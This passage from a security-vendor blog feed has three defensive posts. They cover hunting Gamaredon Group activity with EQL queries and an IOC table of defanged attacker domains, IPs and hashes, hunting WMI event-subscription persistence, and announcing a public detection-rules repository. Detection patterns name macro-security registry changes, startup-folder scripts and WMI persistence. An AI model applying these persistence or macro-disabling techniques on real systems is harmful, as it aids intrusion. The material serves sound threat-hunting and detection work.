<p>Some enhancements we can use with the previous query is to add a network event to the sequence as well as look for a spawned child process bringing in more context to the detection.</p>
<pre><code>sequence
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")] by unique_pid
[dns where not wildcard(query_name, "*.microsoft.com", "*.skype.com")] by unique_pid
[network where true] by unique_pid
[process where subtype.create] by unique_ppid
</code></pre>
<p><em>Figure 20 - EQL query - Network traffic making dynamic DNS requests from Office applications</em></p>
<p>If we wanted to tailor a sequence-based detection to the Gamaredon Group activity specifically, we can bring in the previous Dynamic DNS providers, which creates a more restrictive filter.</p>
<pre><code>sequence by unique_pid
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")]
[network where event of
[dns where wildcard(query_name, "*.ddns.net", "*.hopto.org", "*.bounceme.net")]]
</code></pre>
<p><em>Figure 21 - EQL query - Network traffic making dynamic DNS requests from Office applications</em></p>
<p>Across a range of features provided by the Elastic Endpoint, this attack is prevented through different machine-learning technologies to stop advanced threats such as macro-enabled documents and malicious binaries. Along with these protections, we can take nearly any EQL logic and deploy it in prevention mode to completely stop an attack such as in this example with the download and execution of the remote template. Here’s a short clip in action:</p>
<div>
    
</div>
<h3 id="maliciousregistryconfiguration">Malicious registry configuration</h3>
<p>In order for adversaries to be effective in their mission, they often create their own opportunities. In this case, the adversary reconfigured the target endpoint in order to disable macro security warnings and trust future macros automatically. These small changes can end up having larger implications, and defenders can look for them as symptoms of more serious security issues. For example, these same techniques have also been associated with threat groups like APT32 and are leveraged by malware families such as <a href="https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html">AgentTesla</a> and <a href="https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/">BabyShark</a>.</p>
<p>This query looks for evidence of the registry modifications that disable warnings for macros and automatically enabling future macros:</p>
<pre><code>registry where registry_data == 1 and wildcard(registry_path,
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\AccessVBOM",
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\VBAWarnings")
</code></pre>
<p><em>Figure 22 - EQL query - Registry modifications around disabling macro security features</em></p>
<p>That would function perfectly well as a standalone detection, but EQL allows us to look for both the registry modification and template injection techniques in this example query:</p>
<pre><code>sequence by unique_pid
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")]
[registry where registry_data == 1 and wildcard(registry_path,
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\AccessVBOM",
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\VBAWarnings")]
[registry where registry_data == 1 and wildcard(registry_path,
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\AccessVBOM",
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\VBAWarnings")]
</code></pre>
<p><em>Figure 23 - EQL query - Registry modifications around disabling macro security features</em></p>
<h3 id="persistencestartup">Persistence startup</h3>
<p>Gamaredon Group leveraged both malicious Windows shortcut files and script objects written to the <a href="https://attack.mitre.org/techniques/T1060/">Startup folder</a> for persistence. This technique is very effective in spite of its simplicity and continues to be popular among adversaries. One of the first places to start building detection logic would be to inquire about processes that write files to the startup folder.</p>
<pre><code>file where subtype.create
and (
file_path == "*\\Programs\\Startup\\*.lnk" or
file_path == "*\\Programs\\Startup\\*.vbs"
)
| count process_name, file_path, user_name
</code></pre>
<p><em>Figure 24 - EQL query - Monitoring file writes to startup folder</em></p>
<p>To take it a bit further, we can also customize detection logic to include the VBScript execution at logon. This is a great example for building a sequenced-based signal, as we will track the adversary’s activity over an extended period of time — such as 90 days. Once the machine is rebooted or the user logs back in, an alert can be generated when WScript executes the VBScript file at startup.</p>
<pre><code>sequence with maxspan=90d
[file where subtype.create and file_path == "*\\Programs\\Startup\\*.vbs"]
[process where subtype.create and parent_process_name=="explorer.exe" and
process_name == “wscript.exe” and command_line == "*\\Programs\\Startup\\*"]
</code></pre>
<p><em>Figure 25 - EQL query - Monitoring execution of startup processes</em></p>
<h2 id="conclusion">Conclusion</h2>
<p>In this post, we reviewed recent campaign TTPs tied to an adversary known publicly as Gamaredon Group. This group is likely to have been active since at least 2013 and has engaged in an ongoing campaign against Ukraine at the time of this writing. We highlighted some of their current techniques such as template injection and the use of Dynamic DNS providers, the macro code found in a recent sample, and updates to their custom backdoor known as Pteranodon. By using <a href="https://www.elastic.co/blog/introducing-event-query-language">EQL</a>, we also shared hunting and detection strategies around four specific techniques used by Gamaredon Group.</p>
<p>We hope that by sharing some of these insights and queries, we can help raise awareness and continue to focus on protecting the world's data from attacks. To enable organizations further, we’ve added all the Indicators of Compromise (IOCs) below and added the queries in this post into the <a href="https://eqllib.readthedocs.io/en/latest/analytics.html">EQLLib repository</a>.</p>
<p>Interested in using Elastic Security? Try <a href="https://www.elastic.co/siem">Elastic SIEM</a> for free.</p>
<p>Plus, <a href="https://github.com/elastic/elasticsearch/issues/49581">EQL support is being added to Elasticsearch</a>!</p>
<h2 id="indicatorsofcompromiseiocs">Indicators of Compromise (IOCs)</h2>
<p>|                                           |                                                                    |
| ----------------------------------------- | ------------------------------------------------------------------ |
| Lure Document SHA-256                     | 86e0701349903105b0c346df9485dd59d85dd9463c2bee46d974ea1b1d7059d4   |
| Remote Template (pos.dot) SHA-256         | feb0596e9735e03ae929d9b5ee862da19e16e5cdf57dd2a795205e591a55940f   |
| Remote Template from Lure Document Domain | document-out[.]hopto[.]org/pos[.]dot                               |
| Remote Template Hosting IP                | 141[.]8[.]195[.]60                                                 |
| Remote Template Hosting IP                | 141[.]8[.]192[.]153                                                |
| System Information Upload IP              | 188[.]225[.]25[.]50                                                |
| System Information Upload URI             | libcrash.ddns[.]net/{Computername_SerialNumber}//posolreboot.php |
| ExcelMyMacros.vba SHA-256                 | c4089686965df5e52105b6eac06703aa11c4891695278446370f623d531b505e   |
| wordMacros.vba SHA-256                    | 02e6e2bfaaf6e77cfaccadaf26167135c53cf2c934d17c5a83e5bbcadd85b47d   |
| ExcelMyMacros.txt SHA-256                 | 2f310c5b16620d9f6e5d93db52607f21040b4829aa6110e22ac55fab659e9fa1   |
| Pteranodon SHA-256                        | c1524a4573bc6acbe59e559c2596975c657ae6bbc0b64f943fffca663b98a95f   |
| Pteranodon SHA-256                        | 145a61a14ec6d32b105a6279cd943317b41f1d27f21ac64df61bcdd464868edd   |
| Pteranodon Domain                         | beercraft[.]space                                                  |
| Pteranodon Domain                         | skymage[.]fun                                                      |
| Pteranodon Domain                         | masseffect[.]space                                                 |
| Pteranodon Domain                         | masseffect[.]website                                               |
| Pteranodon IP                             | 185[.]200[.]241[.]88                                               |
| Pteranodon IP                             | 188[.]225[.]46[.]94                                                |</p>
<h2 id="references">References</h2>
<ol>
<li><a href="https://www.anomali.com/resources/whitepapers/malicious-activity-aligning-with-gamaredon-ttps-targets-ukraine">https://www.anomali.com/resources/whitepapers/malicious-activity-aligning-with-gamaredon-ttps-targets-ukraine</a></li>
</ol>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/playing-defense-against-gamaredon-group</link>
    <guid isPermaLink="false">playing-defense-against-gamaredon-group</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Daniel Stepanic,Andrew Pease,Seth Goodwin,Elastic Security Intelligence & Analytics Team]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt64555d9c4b32b546/6a7c9194bdcff043a6c3d384/blog-thumb-digital-shield.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 21 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1)]]></title>
    <description><![CDATA[Learn how Elastic Endpoint Security and Elastic SIEM can be used to hunt for and detect malicious persistence techniques at scale.]]></description>
    <content:encoded><![CDATA[<p>Last month, we hosted a webinar, <a href="https://www.elastic.co/webinars/hunting-for-persistence-using-elastic-security">Hunting for persistence using Elastic Security</a>, where we examined some techniques that attackers use in the wild to maintain presence in their victim’s environment. For each technique covered, we explained:</p>
<ul>
<li>How the offensive technique works</li>
<li>Why the technique is often successful for attackers</li>
<li>How defenders can hunt for and detect the malicious behavior effectively using <a href="https://www.elastic.co/security">Elastic Security</a></li>
</ul>
<p>In this two-part blog series, we’ll share the details of what was covered during our webinar with the goal of helping security practitioners improve their visibility of these offensive persistence techniques and help to undermine the efficacy of these attacks against their organization.</p>
<p>Part 1 will explain what persistence is and why attackers need it. We’ll introduce the Event Query Language (EQL) before showing its practical use cases for threat hunting. We will examine a popular technique used by adversaries to maintain persistence, Windows Management Instrumentation (WMI) Event Subscription (<a href="https://attack.mitre.org/techniques/T1084/">T1084</a>). We’ll also share how Elastic Security users can hunt for and detect this technique being used in their environment.</p>
<p>In part 2, we’ll explore two additional persistence techniques that are being used by attackers in the wild: BITS Jobs (<a href="https://attack.mitre.org/techniques/T1197/">T1197</a>) and Scheduled Tasks (<a href="https://attack.mitre.org/techniques/T1053/">T1053</a>). This follow-up post will walk through real world examples of these techniques being used and how we can hunt for, detect, and prevent them using Elastic Security.</p>
<p>The Protections team at Elastic Security is responsible for researching, understanding, and developing detections and preventions for attacker behavior in order to stop attacks before damage or loss occur. For organizations that do not have a full-time security operations team, Elastic Security includes out-of-the-box protections against adversary tradecraft, malware, and attacks like ransomware and phishing.</p>
<h2 id="whatispersistenceandwhydoattackersneedit">What is persistence and why do attackers need it?</h2>
<p>When we consider the common components of an intrusion, such as those depicted in Figure 1, the attacker may have spent a considerable amount of effort carrying out reconnaissance, obtaining initial access to, and establishing a foothold in their target environment. Generally speaking, an adversary will often want to maintain a presence in order to survive disruptions to their access like system restarts or user password changes. An effective persistence mechanism will execute the attacker’s malicious code on a regular basis or when a specific condition is met such as a user logon or application launch event.</p>
<p>In many cases, gaining access to an organization’s network is harder than maintaining persistence. It is for this reason that attackers continue to use the persistence techniques covered in this post — with largely successful results. When the security industry refers to “dwell time,” that's the period of time that begins when an adversary gains access to a system and ends when you detect them. Persistence facilitates longer dwell times, during which the adversary can work to achieve their objectives.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb51fe34f74569c58/6a7d81ae5588ad25c4ee430a/adversary-tradecraft-101-part-1-image1.jpg" alt="Figure 1 - FireEye Mandiant’s Cyber Attack Lifecycle" title="Figure 1 - FireEye Mandiant’s Cyber Attack Lifecycle" /></p>
<p>There are currently <a href="https://attack.mitre.org/tactics/TA0003/">63 persistence techniques</a> documented in the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK®</a> knowledge base of adversary behavior. This number can seem daunting at first, but an adversary’s need for persistence can be their Achilles’ heel, providing defenders with valuable opportunities to detect and remove an attacker from their environment.</p>
<p>By learning these offensive tactics, techniques, and procedures (TTPs) and baselining the endpoints and network activity in your environment, you have an opportunity to detect attackers early on in an intrusion before any damage or loss occurs. Security operations teams work tirelessly to detect the techniques captured in the ATT&amp;CK matrix — hunting and writing alert logic to provide the greatest visibility and coverage of their enterprise. To help reduce the barrier to entry and enable those teams, we created EQL and released it to the community.</p>
<h2 id="whatiseventquerylanguageeql">What is Event Query Language (EQL)?</h2>
<p>The queries in this blog post, which can be used for threat hunting and detection, are written in EQL — a powerful and intuitive query language that makes it easy for practitioners to search for complex adversary behavior.</p>
<p>To learn more about EQL, you can read the <a href="https://www.elastic.co/blog/getting-started-eql">Getting started with EQL</a> blog post or review the <a href="https://eqllib.readthedocs.io/en/latest/analytics.html">EQL Analytics Library</a>, which contains 200+ free security analytics mapped to the techniques documented in the MITRE ATT&amp;CK matrix. EQL is a core component of Elastic Endpoint Security and <a href="https://github.com/elastic/elasticsearch/issues/49581">is being added to Elasticsearch</a> for use in Elastic SIEM.</p>
<p>Let’s now analyze the WMI Event Subscription technique used by attackers in the wild by demonstrating a variety of methods to hunt for and detect this technique. We decided to cover this technique given its popularity among attackers and the low detection rates by traditional security controls.</p>
<h2 id="persistenceviawindowsmanagementinstrumentationwmieventsubscriptionst1084">Persistence via Windows Management Instrumentation (WMI) Event Subscriptions (T1084)</h2>
<p><a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi">WMI</a> is the Microsoft implementation of Web-Based Enterprise Management (WBEM), a collection of technologies used to manage information and systems in enterprise environments. WMI is a built-in feature of Windows endpoints that allows both administrators and attackers to interact and manage many different functions of the operating system. Components such as network interfaces, power settings, service status, and installed software or patches can all be queried and managed via WMI.</p>
<p>Attackers have been abusing WMI since as early as 2008 to accomplish different objectives such as moving laterally between endpoints, enumerating what processes are running on an endpoint, and to maintain persistence. An attacker can “live off the land” by abusing built-in features of the operating system, which often results in a lower risk of detection than if they introduced malware into a victim environment.</p>
<p>It's no secret that adversaries prefer WMI-based persistence because:</p>
<ul>
<li>Many organizations are incapable of monitoring or investigating WMI</li>
<li>Out-of-the-box WMI visibility is limited, and a third-party utility may be required to effectively convey how WMI is being used</li>
<li>WMI is an integral component of Windows, and the volume of weak signals from this data source can overwhelm analysts who aren't familiar with these attack types</li>
</ul>
<p>Like most offensive techniques, until organizations can reliably detect WMI abuse, the adversary is unlikely to change their behavior.</p>
<h3 id="understandingwmieventsubscriptionsandhowtheycanbeabused">Understanding WMI Event Subscriptions and how they can be abused</h3>
<p>Simply put, a WMI Event Subscription can trigger an action when a certain condition is met. A WMI Event Subscription consists of three components.</p>
<ul>
<li>EventFilter - specifies a condition that you test for, i.e. a user successfully authenticates, a particular time and day of the week occurs, etc.</li>
<li>EventConsumer - specifies an action to execute when the EventFilter condition is met, i.e. execute a Windows command or script, delete all Volume Shadow Copies, restart a service, etc.</li>
<li>FilterToConsumerBinding - this links an EventFilter to an EventConsumer instance</li>
</ul>
<p>Figure 2 below shows the output from Sysinternals Autoruns, a free tool from Microsoft that can be used to examine various persistence locations on Windows endpoints, also referred to as Autostart Execution Points (ASEPs). Autoruns reveals a persistent WMI Event Subscription, named checkforupdates. It is important to note that there are sometimes benign WMI Event Subscriptions configured, but there shouldn’t be many. Alerting on the creation of new WMI Event Subscriptions and hunting for new ones periodically can be a low cost, high reward exercise.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt95cdb22f911adeea/6a7d81b1bdcff07e52c40074/adversary-tradecraft-101-part-1-image2.jpg" alt="Figure 2 - Autoruns showing a WMI Event Subscription registered by Empire" title="Figure 2 - Autoruns showing a WMI Event Subscription registered by Empire" /></p>
<p>The full WMI Query Language (WQL) query from the Autoruns results is shown below. Autoruns conveniently enumerated the WMI __EventFilter class for us in the root\Subscription namespace where this malicious entry was created. Interpreting this WQL query, the EventFilter condition will be met when the system’s uptime is between 240 -325 seconds. The EventConsumer is an <a href="https://github.com/EmpireProject/Empire">Empire</a> PowerShell script and will execute when this EventFilter condition is met.</p>
<p>To summarize, a WMI Event Subscription has been configured to execute a malicious PowerShell script shortly after the endpoint boots up. This enables the attacker to maintain persistence in the victim’s environment and survive system restarts.</p>
<pre><code>SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime &gt;= 240 AND
TargetInstance.SystemUpTime &lt; 325
</code></pre>
<p><em>Figure 3 - WMI Query Language (WQL) query showing WMI EventFilter condition</em></p>
<h3 id="huntingforanddetectingmaliciouswmieventsubscriptions">Hunting for and detecting malicious WMI Event Subscriptions</h3>
<p>The EQL query in Figure 4 shows how we can search for a sequence of three WMI events, which were generated by the same unique process ID (PID). This query demonstrates one of the strengths of EQL by using the join function. This allows us to match sequences of events in any order. Searching for these three WMI events without binding them together by unique PID might not return meaningful results. This query matches when a WMI EventFilter, EventConsumer, and FilterToConsumer binding are created by the same process in succession, which typically occurs when malware is executed and creates a new WMI Event Subscription for persistence. This query can be used to monitor for and detect abuse of WMI.</p>
<pre><code>join by unique_pid
  [wmi where properties.Operation == "*IWbemServices::PutInstance*EventFilter*"]
  [wmi where properties.Operation == "*IWbemServices::PutInstance*EventConsumer*"]
  [wmi where properties.Operation == "*IWbemServices::PutInstance*FilterToConsumerBinding*"]
</code></pre>
<p><em>Figure 4 - EQL query to search for the creation of a WMI EventFilter, EventConsumer, and FilterToConsumerBinding in succession</em></p>
<p>The above EQL query can be saved as a custom rule in Elastic Endpoint Security so that analysts can be alerted every time a new WMI Event Subscription is created by a process (Figure 5).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb5dc7b445abf16a2/6a7d81b35588ad7308ee430e/adversary-tradecraft-101-part-1-image3.png" alt="Figure 5 - Alert created by custom rule in Elastic Endpoint Security" title="Figure 5 - Alert created by custom rule in Elastic Endpoint Security" /></p>
<p>Resolver is the primary interface for interacting with alerts in Elastic Endpoint Security and enables users to visualize process ancestry along with relevant events such as DNS, file, network, WMI, and PowerShell, to name a few. It also provides one-click response actions to resolve the alert.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc14c6e769cc11017/6a7d81b6fc63abad4b649fcc/adversary-tradecraft-101-part-1-image4.jpg" alt="Figure 6 - Resolver showing process ancestry and events created by powershell.exe" title="Figure 6 - Resolver showing process ancestry and events created by powershell.exe" /></p>
<p>Clicking the WMI event type next to powershell.exe in Resolver enables users to review the WMI events that were generated by the process. Figure 7 shows the WMI event that was logged when powershell.exe was used to create the new WMI FilterToConsumerBinding, checkforupdates.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf05d7578d0a110ca/6a7d81b877b0347c6f3fc668/adversary-tradecraft-101-part-1-image5.jpg" alt="Figure 7 - WMI event created by powershell.exe" title="Figure 7 - WMI event created by powershell.exe" /></p>
<p>Elastic Endpoint Security also includes template-based hunts that lower the barriers to entry for less experienced analysts and allows for the easy collection and analysis of data across an organization’s endpoints. There are currently 25 categories of persistence data that can be collected and analyzed using template-based hunts.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt86a4d0cd61c9cd4f/6a7d81bb3cab1c96980e1a10/adversary-tradecraft-101-part-1-image6.jpg" alt="Figure 8 - Hunting for persistence using Elastic Endpoint’s template-based hunts" title="Figure 8 - Hunting for persistence using Elastic Endpoint’s template-based hunts" /></p>
<p>Once a hunt has been executed, there are several ways to sort or aggregate the data — such as by frequency or file path. This helps analysts to quickly baseline their endpoints and identify anomalies to investigate further.</p>
<p>Figure 9 depicts the filtered results of a persistence hunt wherein the same malicious WMI Event Subscription was configured. Elastic Security enumerates persistence locations across your endpoints and enables users to apply filters to identify anomalies or suspicious artifacts for further analysis. Hunt teams will often assume that traditional passive and reactive security controls are fallible, and will proactively hunt for malicious persistence mechanisms in search for attackers operating in their environment.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt68aaf9934a8f272b/6a7d81be448e4e97b45bdb42/adversary-tradecraft-101-part-1-image7.png" alt="Figure 9 - Results of an Elastic Endpoint hunt showing malicious WMI persistence" title="Figure 9 - Results of an Elastic Endpoint hunt showing malicious WMI persistence" /></p>
<p>Elastic Security comes with out-of-the-box detections for WMI abuse. Figure 10 shows the signal that was generated by Elastic Endpoint and shipped to Elastic SIEM when a malicious WMI Event Subscription was created.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4696d82c61381da6/6a7d81c1227b1c504f595812/adversary-tradecraft-101-part-1-image8.png" alt="Figure 10 - Elastic Endpoint signal shown in Elastic SIEM" title="Figure 10 - Elastic Endpoint signal shown in Elastic SIEM" /></p>
<p>Users have the option to view a signal in the Timeline within Elastic SIEM. Timeline enables analysts to search for similar activity across their data, gather and document evidence, and forward potential incidents to ticketing and SOAR platforms with ease. Part 2 of this series will show the workflow and features of Timeline.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8686c856d101846d/6a7d81c4b437709aa04d3f87/adversary-tradecraft-101-part-1-image9.jpg" alt="Figure 11 - Option to view signal in Timeline in Elastic SIEM" title="Figure 11 - Option to view signal in Timeline in Elastic SIEM" /></p>
<p>As of version 7.6 of the Elastic Stack, the SIEM app comes with a detection engine, which enables security teams to create their own custom rules. For example, Windows 10 logs Event ID 5861 when a new WMI EventFilterToConsumer binding is created. Figure 12 shows how a custom rule can be created in Elastic SIEM to search the winlogbeat-* index pattern for winlog.record_id: 5861. We can configure a description, severity, and risk score for the new rule, as well as map the rule to the relevant techniques in the MITRE ATT&amp;CK matrix. This information will help an analyst triage and determine the steps to take when the rule condition occurs.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbe769b8ee9a885db/6a7d81c773d9bd121829ac1b/adversary-tradecraft-101-part-1-image10.png" alt="Figure 12 - Example of a new rule being created in Elastic SIEM" title="Figure 12 - Example of a new rule being created in Elastic SIEM" /></p>
<p>Elastic SIEM is part of the Basic subscription and currently includes 92 detections that utilize Windows, Linux, network, and APM logging. We will continue to add new rules in new releases of the Elastic Stack.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt797a7d37bb7efd81/6a7d81ca73d9bd3ed829ac1f/adversary-tradecraft-101-part-1-image11.png" alt="Figure 13 - Detection rules view in Elastic SIEM" title="Figure 13 - Detection rules view in Elastic SIEM" /></p>
<p>In this section, we learned how WMI Event Subscriptions can be abused for persistence and how we can hunt for and detect this technique using the combination of Elastic Endpoint and SIEM. It’s important to note that we have only scratched the surface of how WMI works and the many ways that it can be used by attackers.</p>
<p>WMI can be used during every phase of an attack, such as moving laterally between endpoints, conducting local and enterprise reconnaissance, and stealing data. Elastic Security has released detections for many techniques that leverage WMI.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In this blog post, we examined a popular technique that attackers use to maintain a presence in their target environments. The number of techniques in an attacker’s arsenal can seem daunting at first, but we demonstrated a formulaic approach to examining, hunting for, and detecting techniques effectively. By building comprehension around adversary tradecraft, you can identify interesting patterns, behaviors, and artifacts that you can use to your advantage.</p>
<p>Elastic Security makes hunting for persistence easy. The features of Elastic Endpoint Security and SIEM (along with the protections provided out of the box) lower the barriers to entry for analysts, provide detailed visibility into endpoint activity, and enable organizations to prevent, detect, and respond to malicious behavior at scale.</p>
<p>To learn more about threat hunting, download a free copy of <a href="https://ela.st/threat-hunting">The Elastic Guide to Threat Hunting</a>.</p>
<p>Plus, <a href="https://github.com/elastic/elasticsearch/issues/49581">EQL support is being added to Elasticsearch</a>!</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/hunting-for-persistence-using-elastic-security-part-1</link>
    <guid isPermaLink="false">hunting-for-persistence-using-elastic-security-part-1</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[David French,Brent Murphy,Elastic Security Intelligence & Analytics Team]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte7cd714a064d35a8/6a7d81cde88c65835000898c/blog-thumb-security-breach-red-lock.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 01 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Elastic Security opens public detection rules repo]]></title>
    <description><![CDATA[Elastic Security has opened its detection rules repository to the world. We will develop rules in the open alongside the community, and we’re welcoming your community-driven detections. This is an opportunity to share collective security knowledge.]]></description>
    <content:encoded><![CDATA[<p>At Elastic, we believe in the <a href="https://www.elastic.co/about/why-open-source">power of open source</a> and understand the importance of community. By putting the community first, we ensure that we create the best possible product for our users. With Elastic Security, <a href="https://www.elastic.co/security">two of our core objectives</a> are to <em>stop threats at scale</em> and <em>arm every analyst</em>. Today, we’re opening up a new GitHub repository, <a href="https://github.com/elastic/detection-rules">elastic/detection-rules</a>, to work alongside the security community, stopping threats at a greater scale.</p>
<p>The release of the <a href="https://www.elastic.co/blog/elastic-siem-detections">detection engine</a> in Elastic Security brought <a href="https://www.elastic.co/security/automated-threat-protection">automated threat detection</a> to the Elastic Stack. Since the initial launch of the detection engine, the Elastic Security Intelligence &amp; Analytics team has added 50+ additional rules, increasing the visibility of attacker techniques on Linux, macOS, and Windows operating systems. As we continue to expand coverage, you’ll see increased breadth in detections, covering new domains such as cloud services and user behavior.</p>
<p>Over the past few releases, we used an internal repository to manage rules for the detection engine. We’ve iteratively improved our testing procedures by adding automated tests for new contributions that validate Kibana Query Language (KQL) syntax, schema usage, and other metadata. Our rule development has matured, so we can move fast <em>without</em> breaking things.</p>
<p>By opening up our <a href="https://github.com/elastic/detection-rules">elastic/detection-rules</a> GitHub repository, Elastic Security will develop rules in the open alongside the community, and we’re welcoming your community-driven detections. This is an opportunity for all of us to share our collective knowledge, learn from each other, and make an impact by working together.</p>
<h2 id="whatsinthisnewrepository">What’s in this new repository?</h2>
<p>In the <a href="https://github.com/elastic/detection-rules">elastic/detection-rules</a> GitHub repository, you can find rules written for Elastic Security, with coverage for many <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a>® techniques. Our current rule logic is primarily written in <a href="https://www.elastic.co/guide/en/kibana/master/kuery-query.html">KQL</a>, and by leveraging the <a href="https://www.elastic.co/guide/en/ecs/current/index.html">Elastic Common Schema (ECS)</a>, we only need to write rules once. By using the defined fields and categories in ECS, rules automatically work with Beats logs and other data sources that map properly to ECS.</p>
<p>Within the <a href="https://github.com/elastic/detection-rules/tree/main/rules">rules/</a> folder, rules are stored in TOML files and are grouped by platform. We tried to keep it simple with a flat hierarchy so that it’s easier to find and add new rules. If you’re looking for Windows-only rules, navigate to <a href="https://github.com/elastic/detection-rules/tree/main/rules/windows">rules/windows</a>. If you’re still struggling to find a rule or want to search across rules, you can use our CLI by running the command python -m detection_rules rule-search, which will show the files that have matching metadata.</p>
<p>Every rule contains several fields of metadata in addition to the query itself. This captures information like the title, description, noise level, ATT&amp;CK mappings, tags, and the scheduling interval. We have a few additional fields to aid analysts performing triage, describing known false positives or helpful steps for an investigation. For more information on the metadata that pertains to rules, see the <a href="https://www.elastic.co/guide/en/siem/guide/current/rules-ui-create.html#create-rule-ui">Kibana rule creation guide</a> or our <a href="https://github.com/elastic/detection-rules/blob/main/CONTRIBUTING.md#rule-metadata">summary of rule metadata</a> in the contribution guide.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltec263444d3bb017e/6a7d7f9e1967eac01a32d86b/detection-rules-repo-blog-msbuild.png" alt="detection-rules-repo-blog-msbuild.png" title="detection-rules-repo-blog-msbuild.png" /></p>
<p>Preview of the file behind the “MsBuild Making Network Connections” rule</p>
<h2 id="howdotheserulesgettomydetectionengine">How do these rules get to my detection engine?</h2>
<p>If you’re using our <a href="https://www.elastic.co/cloud/">Elastic Cloud managed service</a> or the default distribution of the Elastic Stack software that includes the <a href="https://www.elastic.co/subscriptions">full set of free features</a>, you’ll get the latest rules the first time you navigate to the detection engine. When you upgrade, the detection engine recognizes that rules were added or changed and <a href="https://www.elastic.co/guide/en/siem/guide/current/rules-ui-create.html#load-prebuilt-rules">prompts</a> you to decide whether you want those rules upgraded. Follow the steps after upgrading and you’ll get the latest copy of the rules.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1a5ad5841d9cef77/6a7d7fa16c6eaca1bdf1133a/detection-rules-repo-blog-msbuild-network-connections.png" alt="detection-rules-repo-blog-msbuild-network-connections.png" title="detection-rules-repo-blog-msbuild-network-connections.png" /></p>
<p>The same rule — “MsBuild Making Network Connections” — loaded in the detection engine</p>
<h2 id="whowillusethisrepository">Who will use this repository?</h2>
<p>This repository is where the Elastic Security Intelligence &amp; Analytics team will develop rules, create issues, manage pull requests, and target releases. By making the repo public, we’re inviting all external contributors into this workflow. This will give contributors visibility into our development process and a clear path for rules to be released with the detection engine.</p>
<p>When you’re ready to contribute, please sign Elastic's <a href="https://www.elastic.co/contributor-agreement">contributor license agreement (CLA)</a>. This is standard for all Elastic GitHub repositories, and it means that we freely can distribute your code to Elastic users.</p>
<h2 id="howdoweapproachthreatdetection">How do we approach threat detection?</h2>
<p>In general, we tend to prefer detections that focus on adversary behaviors. This usually means that we focus on ATT&amp;CK techniques. This might mean more research and effort is needed to figure out how a technique works before creating a rule. But by taking this approach, we do a better job detecting and stopping the attacks of today and tomorrow, instead of just the attacks of yesterday.</p>
<p>Taking a behavioral approach also means we need various types of rules. Some might detect atomic events, others may require aggregating multiple events or looking for deviances above a threshold. With <a href="https://eql.readthedocs.io">Event Query Language (EQL)</a>, we will be able to write rules that look for sequences of behavior that span multiple events.</p>
<p>Of course, we understand that sometimes a technique can be hard for all users to detect behaviorally. In that case, by all means, feel free to add a rule that is more signature-like in nature and written towards a specific behavior or tool.</p>
<p>For a longer discussion on what makes a mature detection, read about the philosophy <a href="https://github.com/elastic/detection-rules/tree/main/PHILOSOPHY.md">of the detection rules repository</a>.</p>
<h2 id="whydoweneedanewrepository">Why do we need a new repository?</h2>
<p>If you’ve shared public rules before, you’re probably aware of other well-known GitHub repositories, like the <a href="https://github.com/mitre-attack/car">Cyber Analytics Repository (CAR)</a> by MITRE, <a href="https://github.com/Neo23x0/sigma">Sigma</a>, or even the <a href="https://eqllib.readthedocs.io">EQL Analytics Library</a> based on Elastic’s EQL. You might be wondering: <em>Why do we need another repository? Why not use the ones that already exist?</em></p>
<p>Unsurprisingly, the best answer to this question starts with another question: <em>Why do the other repositories exist?</em> Both CAR and Sigma are purposefully agnostic of language or platform, and sometimes data source. On the other hand, the EQL Analytics Library was written with a specific language in mind.</p>
<p>With our new detection rules repository, we’re trying to serve a slightly different purpose. Our goal is to give users of Elastic Security the best possible detections that work across various data sources. We use ECS as the great equalizer of schemas, making it possible to write a rule once that applies to multiple data sources.</p>
